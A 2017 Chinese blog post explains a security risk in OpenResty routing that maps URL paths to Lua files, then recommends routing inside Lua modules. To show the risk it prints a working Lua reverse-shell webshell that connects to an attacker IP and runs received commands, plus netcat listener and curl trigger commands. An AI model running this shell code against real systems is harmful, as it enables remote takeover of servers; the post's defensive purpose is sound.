OpenResty 中的安全隐患

Posted by qmsheng on June 5, 2017

在 OR 的官方 GitHub 中,介绍了这么一种简单的「路由」写法

# use nginx var in code path
# CAUTION: contents in nginx var must be carefully filtered,
# otherwise there'll be great security risk!
location ~ ^/app/([-_a-zA-Z0-9/]+) {
    set $path $1;
    content_by_lua_file /path/to/lua/app/root/$path.lua;
}

相信不少不同学也都使用了这种简便的方式。然而却忽略了春哥的警告:

CAUTION: contents in nginx var must be carefully filtered, otherwise there’ll be great security risk!

这里我来说下这个安全隐患是如何产生的。假如我们现在的路由结构是:

root/
├── fan.lua
├── follower.lua
└── user.lua

正常情况下我们请求 /app/user 就应该执行 root/user.lua 代码;/app/follower 就应该执行 root/follower.lua 代码。这是我们期待的结果。

但是假如你的服务器有文件上传漏洞或 SQL 注入漏洞,被攻击者利用进而植入了一个 shell.lua 的 webshell,那么现在我们的路由结构是:

SQL 注入不仅仅可以拖库,也是可以写 shell 的(SELECT OUTFILE)

root/
├── fan.lua
├── follower.lua
├── user.lua
└── shell.lua

这时候去请求 /app/shell,就自然的去连接这个 webshell 了,这个 shell.lua 看起来是这个样子(反弹shell到攻击者的地址):

local sock = ngx.socket.tcp()
local ok, err = sock:connect("192.168.3.5", "2333")
if not ok then return end

while true do
    local r,x = sock:receive()
    local f = assert(io.popen(r,"r"))
    local b = assert(f:read("*a"))
    sock:send(b)
end

f:close()
sock:close()

我先在我的攻击机上执行(准备接收反弹回来的shell)

nc -lvv 2333

开启另一个终端执行

curl http://victim/app/shell

回到 nc 查看权限:

接下来的就是去提权了。。。

要避免这个问题,就是要在匹配路径上做出更为严格的限制,但是这会导致nginx.conf可读性较差。

我的建议是路由还是直接放在 lua 里完成,这样我们的 handler() 可以获得更为安全的签名保护。反观今天的测试,其实本质上还是因为我们执行了不该信任的代码(没有签名),最终导致系统沦陷。如果使用 lua 模块化(相当于签名)的路由方式,就可以避免这个问题(即使你拿到了上传或注入的漏洞,最多也就是拖个库,也不会拿到整个系统的权限)。


有人说,时间是把杀猪刀。这很公平。但是,即使哪天挨上了这把杀猪刀,也希望自己是头优雅的猪。

而此时,2017 已经过去 1/2